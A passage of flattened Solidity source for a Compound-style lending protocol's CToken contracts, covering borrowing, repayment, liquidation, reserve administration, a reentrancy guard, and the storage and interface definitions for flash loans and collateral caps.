don't need to return redeemFresh(msg.sender, 0, redeemAmount); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED); } // borrowFresh emits borrow-specific logs on errors, so we don't need to return borrowFresh(msg.sender, borrowAmount); } struct BorrowLocalVars { MathError mathErr; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; } /** * @notice Users borrow assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) { /* Fail if borrow not allowed */ uint allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.BORROW_COMPTROLLER_REJECTION, allowed); } /* * Return if borrowAmount is zero. * Put behind `borrowAllowed` for accuring potential COMP rewards. */ if (borrowAmount == 0) { accountBorrows[borrower].interestIndex = borrowIndex; return uint(Error.NO_ERROR); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK); } /* Fail gracefully if protocol has insufficient underlying cash */ if (getCashPrior() < borrowAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE); } BorrowLocalVars memory vars; /* * We calculate the new borrower and total borrow balances, failing on overflow: * accountBorrowsNew = accountBorrows + borrowAmount * totalBorrowsNew = totalBorrows + borrowAmount */ vars.accountBorrows = borrowBalanceStoredInternal(borrower); vars.accountBorrowsNew = add_(vars.accountBorrows, borrowAmount); vars.totalBorrowsNew = add_(totalBorrows, borrowAmount); ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We invoke doTransferOut for the borrower and the borrowAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken borrowAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(borrower, borrowAmount); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a Borrow event */ emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ // unused function // comptroller.borrowVerify(address(this), borrower, borrowAmount); return uint(Error.NO_ERROR); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, msg.sender, repayAmount); } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowBehalfInternal(address borrower, uint repayAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, borrower, repayAmount); } struct RepayBorrowLocalVars { Error err; MathError mathErr; uint repayAmount; uint borrowerIndex; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; uint actualRepayAmount; } /** * @notice Borrows are repaid by another user (possibly the borrower). * @param payer the account paying off the borrow * @param borrower the account with the debt being payed off * @param repayAmount the amount of undelrying tokens being returned * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint, uint) { /* Fail if repayBorrow not allowed */ uint allowed = comptroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION, allowed), 0); } /* * Return if repayAmount is zero. * Put behind `repayBorrowAllowed` for accuring potential COMP rewards. */ if (repayAmount == 0) { accountBorrows[borrower].interestIndex = borrowIndex; return (uint(Error.NO_ERROR), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0); } RepayBorrowLocalVars memory vars; /* We remember the original borrowerIndex for verification purposes */ vars.borrowerIndex = accountBorrows[borrower].interestIndex; /* We fetch the amount the borrower owes, with accumulated interest */ vars.accountBorrows = borrowBalanceStoredInternal(borrower); /* If repayAmount == -1, repayAmount = accountBorrows */ if (repayAmount == uint(-1)) { vars.repayAmount = vars.accountBorrows; } else { vars.repayAmount = repayAmount; } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the payer and the repayAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional repayAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount); /* * We calculate the new borrower and total borrow balances, failing on underflow: * accountBorrowsNew = accountBorrows - actualRepayAmount * totalBorrowsNew = totalBorrows - actualRepayAmount */ vars.accountBorrowsNew = sub_(vars.accountBorrows, vars.actualRepayAmount); vars.totalBorrowsNew = sub_(totalBorrows, vars.actualRepayAmount); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a RepayBorrow event */ emit RepayBorrow(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ // unused function // comptroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex); return (uint(Error.NO_ERROR), vars.actualRepayAmount); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowInternal(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0); } error = cTokenCollateral.accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0); } // liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to return liquidateBorrowFresh(msg.sender, borrower, repayAmount, cTokenCollateral); } /** * @notice The liquidator liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param liquidator The address repaying the borrow and seizing collateral * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal returns (uint, uint) { /* Fail if liquidate not allowed */ uint allowed = comptroller.liquidateBorrowAllowed(address(this), address(cTokenCollateral), liquidator, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK), 0); } /* Verify cTokenCollateral market's block number equals current block number */ if (cTokenCollateral.accrualBlockNumber() != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return (fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0); } /* Fail if repayAmount = 0 */ if (repayAmount == 0) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0); } /* Fail if repayAmount = -1 */ if (repayAmount == uint(-1)) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0); } /* Fail if repayBorrow fails */ (uint repayBorrowError, uint actualRepayAmount) = repayBorrowFresh(liquidator, borrower, repayAmount); if (repayBorrowError != uint(Error.NO_ERROR)) { return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We calculate the number of collateral tokens that will be seized */ (uint amountSeizeError, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens(address(this), address(cTokenCollateral), actualRepayAmount); require(amountSeizeError == uint(Error.NO_ERROR), "LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED"); /* Revert if borrower collateral token balance < seizeTokens */ require(cTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH"); // If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call uint seizeError; if (address(cTokenCollateral) == address(this)) { seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens); } else { seizeError = cTokenCollateral.seize(liquidator, borrower, seizeTokens); } /* Revert if seize tokens fails (since we cannot be sure of side effects) */ require(seizeError == uint(Error.NO_ERROR), "token seizure failed"); /* We emit a LiquidateBorrow event */ emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(cTokenCollateral), seizeTokens); /* We call the defense hook */ // unused function // comptroller.liquidateBorrowVerify(address(this), address(cTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens); return (uint(Error.NO_ERROR), actualRepayAmount); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Will fail unless called by another cToken during the process of liquidation. * Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter. * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seize(address liquidator, address borrower, uint seizeTokens) external nonReentrant returns (uint) { return seizeInternal(msg.sender, liquidator, borrower, seizeTokens); } /*** Admin Functions ***/ /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() external returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Sets a new comptroller for the market * @dev Admin function to set a new comptroller * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setComptroller(ComptrollerInterface newComptroller) public returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK); } ComptrollerInterface oldComptroller = comptroller; // Ensure invoke comptroller.isComptroller() returns true require(newComptroller.isComptroller(), "marker method returned false"); // Set market's comptroller to newComptroller comptroller = newComptroller; // Emit NewComptroller(oldComptroller, newComptroller) emit NewComptroller(oldComptroller, newComptroller); return uint(Error.NO_ERROR); } /** * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh * @dev Admin function to accrue interest and set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactor(uint newReserveFactorMantissa) external nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed. return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED); } // _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to. return _setReserveFactorFresh(newReserveFactorMantissa); } /** * @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual) * @dev Admin function to set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK); } // Verify market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK); } // Check newReserveFactor ≤ maxReserveFactor if (newReserveFactorMantissa > reserveFactorMaxMantissa) { return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK); } uint oldReserveFactorMantissa = reserveFactorMantissa; reserveFactorMantissa = newReserveFactorMantissa; emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Accrues interest and reduces reserves by transferring from msg.sender * @param addAmount Amount of addition to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReservesInternal(uint addAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED); } // _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to. (error, ) = _addReservesFresh(addAmount); return error; } /** * @notice Add reserves by transferring from caller * @dev Requires fresh interest accrual * @param addAmount Amount of addition to reserves * @return (uint, uint) An error code (0=success, otherwise a failure (see ErrorReporter.sol for details)) and the actual amount added, net token fees */ function _addReservesFresh(uint addAmount) internal returns (uint, uint) { // totalReserves + actualAddAmount uint totalReservesNew; uint actualAddAmount; // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.ADD_RESERVES_FRESH_CHECK), actualAddAmount); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the caller and the addAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional addAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ actualAddAmount = doTransferIn(msg.sender, addAmount); totalReservesNew = add_(totalReserves, actualAddAmount); // Store reserves[n+1] = reserves[n] + actualAddAmount totalReserves = totalReservesNew; /* Emit NewReserves(admin, actualAddAmount, reserves[n+1]) */ emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew); /* Return (NO_ERROR, actualAddAmount) */ return (uint(Error.NO_ERROR), actualAddAmount); } /** * @notice Accrues interest and reduces reserves by transferring to admin * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReserves(uint reduceAmount) external nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED); } // _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to. return _reduceReservesFresh(reduceAmount); } /** * @notice Reduces reserves by transferring to admin * @dev Requires fresh interest accrual * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReservesFresh(uint reduceAmount) internal returns (uint) { // totalReserves - reduceAmount uint totalReservesNew; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK); } // Fail gracefully if protocol has insufficient underlying cash if (getCashPrior() < reduceAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE); } // Check reduceAmount ≤ reserves[n] (totalReserves) if (reduceAmount > totalReserves) { return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) totalReservesNew = sub_(totalReserves, reduceAmount); // Store reserves[n+1] = reserves[n] - reduceAmount totalReserves = totalReservesNew; // doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. doTransferOut(admin, reduceAmount); emit ReservesReduced(admin, reduceAmount, totalReservesNew); return uint(Error.NO_ERROR); } /** * @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh * @dev Admin function to accrue interest and update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED); } // _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to. return _setInterestRateModelFresh(newInterestRateModel); } /** * @notice updates the interest rate model (*requires fresh interest accrual) * @dev Admin function to update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) { // Used to store old model for use in the event that is emitted on success InterestRateModel oldInterestRateModel; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK); } // Track the market's current interest rate model oldInterestRateModel = interestRateModel; // Ensure invoke newInterestRateModel.isInterestRateModel() returns true require(newInterestRateModel.isInterestRateModel(), "marker method returned false"); // Set the interest rate model to newInterestRateModel interestRateModel = newInterestRateModel; // Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel) emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel); return uint(Error.NO_ERROR); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying owned by this contract */ function getCashPrior() internal view returns (uint); /** * @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee. * This may revert due to insufficient balance or insufficient allowance. */ function doTransferIn(address from, uint amount) internal returns (uint); /** * @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting. * If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract. * If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions. */ function doTransferOut(address payable to, uint amount) internal; /** * @notice Transfer `tokens` tokens from `src` to `dst` by `spender` * @dev Called by both `transfer` and `transferFrom` internally */ function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint); /** * @notice Get the account's cToken balances */ function getCTokenBalanceInternal(address account) internal view returns (uint); /** * @notice User supplies assets into the market and receives cTokens in exchange * @dev Assumes interest has already been accrued up to the current block */ function mintFresh(address minter, uint mintAmount) internal returns (uint, uint); /** * @notice User redeems cTokens in exchange for the underlying asset * @dev Assumes interest has already been accrued up to the current block */ function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal returns (uint); /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another CToken. * Its absolutely critical to use msg.sender as the seizer cToken and not a parameter. */ function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint); /*** Reentrancy Guard ***/ /** * @dev Prevents a contract from calling itself, directly or indirectly. */ modifier nonReentrant() { require(_notEntered, "re-entered"); _notEntered = false; _; _notEntered = true; // get a gas-refund post-Istanbul } } pragma solidity ^0.5.16; import "./ComptrollerInterface.sol"; import "./InterestRateModel.sol"; contract CTokenStorage { /** * @dev Guard variable for re-entrancy checks */ bool internal _notEntered; /** * @notice EIP-20 token name for this token */ string public name; /** * @notice EIP-20 token symbol for this token */ string public symbol; /** * @notice EIP-20 token decimals for this token */ uint8 public decimals; /** * @notice Maximum borrow rate that can ever be applied (.0005% / block) */ uint internal constant borrowRateMaxMantissa = 0.0005e16; /** * @notice Maximum fraction of interest that can be set aside for reserves */ uint internal constant reserveFactorMaxMantissa = 1e18; /** * @notice Administrator for this contract */ address payable public admin; /** * @notice Pending administrator for this contract */ address payable public pendingAdmin; /** * @notice Contract which oversees inter-cToken operations */ ComptrollerInterface public comptroller; /** * @notice Model which tells what the current interest rate should be */ InterestRateModel public interestRateModel; /** * @notice Initial exchange rate used when minting the first CTokens (used when totalSupply = 0) */ uint internal initialExchangeRateMantissa; /** * @notice Fraction of interest currently set aside for reserves */ uint public reserveFactorMantissa; /** * @notice Block number that interest was last accrued at */ uint public accrualBlockNumber; /** * @notice Accumulator of the total earned interest rate since the opening of the market */ uint public borrowIndex; /** * @notice Total amount of outstanding borrows of the underlying in this market */ uint public totalBorrows; /** * @notice Total amount of reserves of the underlying held in this market */ uint public totalReserves; /** * @notice Total number of tokens in circulation */ uint public totalSupply; /** * @notice Official record of token balances for each account */ mapping (address => uint) internal accountTokens; /** * @notice Approved token transfer amounts on behalf of others */ mapping (address => mapping (address => uint)) internal transferAllowances; /** * @notice Container for borrow balance information * @member principal Total balance (with accrued interest), after applying the most recent balance-changing action * @member interestIndex Global borrowIndex as of the most recent balance-changing action */ struct BorrowSnapshot { uint principal; uint interestIndex; } /** * @notice Mapping of account addresses to outstanding borrow balances */ mapping(address => BorrowSnapshot) internal accountBorrows; } contract CErc20Storage { /** * @notice Underlying asset for this CToken */ address public underlying; /** * @notice Implementation address for this contract */ address public implementation; } contract CSupplyCapStorage { /** * @notice Internal cash counter for this CToken. Should equal underlying.balanceOf(address(this)) for CERC20. */ uint256 public internalCash; } contract CCollateralCapStorage { /** * @notice Total number of tokens used as collateral in circulation. */ uint256 public totalCollateralTokens; /** * @notice Record of token balances which could be treated as collateral for each account. * If collateral cap is not set, the value should be equal to accountTokens. */ mapping (address => uint) public accountCollateralTokens; /** * @notice Check if accountCollateralTokens have been initialized. */ mapping (address => bool) public isCollateralTokenInit; /** * @notice Collateral cap for this CToken, zero for no cap. */ uint256 public collateralCap; } /*** Interface ***/ contract CTokenInterface is CTokenStorage { /** * @notice Indicator that this is a CToken contract (for inspection) */ bool public constant isCToken = true; /*** Market Events ***/ /** * @notice Event emitted when interest is accrued */ event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows); /** * @notice Event emitted when tokens are minted */ event Mint(address minter, uint mintAmount, uint mintTokens); /** * @notice Event emitted when tokens are redeemed */ event Redeem(address redeemer, uint redeemAmount, uint redeemTokens); /** * @notice Event emitted when underlying is borrowed */ event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is repaid */ event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is liquidated */ event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens); /*** Admin Events ***/ /** * @notice Event emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Event emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); /** * @notice Event emitted when comptroller is changed */ event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller); /** * @notice Event emitted when interestRateModel is changed */ event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel); /** * @notice Event emitted when the reserve factor is changed */ event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa); /** * @notice Event emitted when the reserves are added */ event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves); /** * @notice Event emitted when the reserves are reduced */ event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves); /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint amount); /** * @notice Failure event */ event Failure(uint error, uint info, uint detail); /*** User Interface ***/ function transfer(address dst, uint amount) external returns (bool); function transferFrom(address src, address dst, uint amount) external returns (bool); function approve(address spender, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function balanceOf(address owner) external view returns (uint); function balanceOfUnderlying(address owner) external returns (uint); function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint); function borrowRatePerBlock() external view returns (uint); function supplyRatePerBlock() external view returns (uint); function totalBorrowsCurrent() external returns (uint); function borrowBalanceCurrent(address account) external returns (uint); function borrowBalanceStored(address account) public view returns (uint); function exchangeRateCurrent() public returns (uint); function exchangeRateStored() public view returns (uint); function getCash() external view returns (uint); function accrueInterest() public returns (uint); function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint); /*** Admin Functions ***/ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint); function _acceptAdmin() external returns (uint); function _setComptroller(ComptrollerInterface newComptroller) public returns (uint); function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint); function _reduceReserves(uint reduceAmount) external returns (uint); function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint); } contract CErc20Interface is CErc20Storage { /*** User Interface ***/ function mint(uint mintAmount) external returns (uint); function redeem(uint redeemTokens) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function borrow(uint borrowAmount) external returns (uint); function repayBorrow(uint repayAmount) external returns (uint); function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint); function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint); /*** Admin Functions ***/ function _addReserves(uint addAmount) external returns (uint); } contract CCapableErc20Interface is CErc20Interface, CSupplyCapStorage { /** * @notice Flash loan fee ratio */ uint public constant flashFeeBips = 3; /*** Market Events ***/ /** * @notice Event emitted when a flashloan occured */ event Flashloan(address indexed receiver, uint amount, uint totalFee, uint reservesFee); /*** User Interface ***/ function gulp() external; function flashLoan(address receiver, uint amount, bytes calldata params) external; } contract CCollateralCapErc20Interface is CCapableErc20Interface, CCollateralCapStorage { /*** Admin Events ***/ /** * @notice Event emitted when collateral cap is set */ event NewCollateralCap(address token, uint newCap); /** * @notice Event emitted when user collateral is changed */ event UserCollateralChanged(address account, uint newCollateralTokens); /*** User Interface ***/ function registerCollateral(address account) external returns (uint); function unregisterCollateral(address account) external; /*** Admin Functions ***/ function _setCollateralCap(uint newCollateralCap) external; } contract CDelegatorInterface { /** * @notice Emitted when implementation is changed */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param 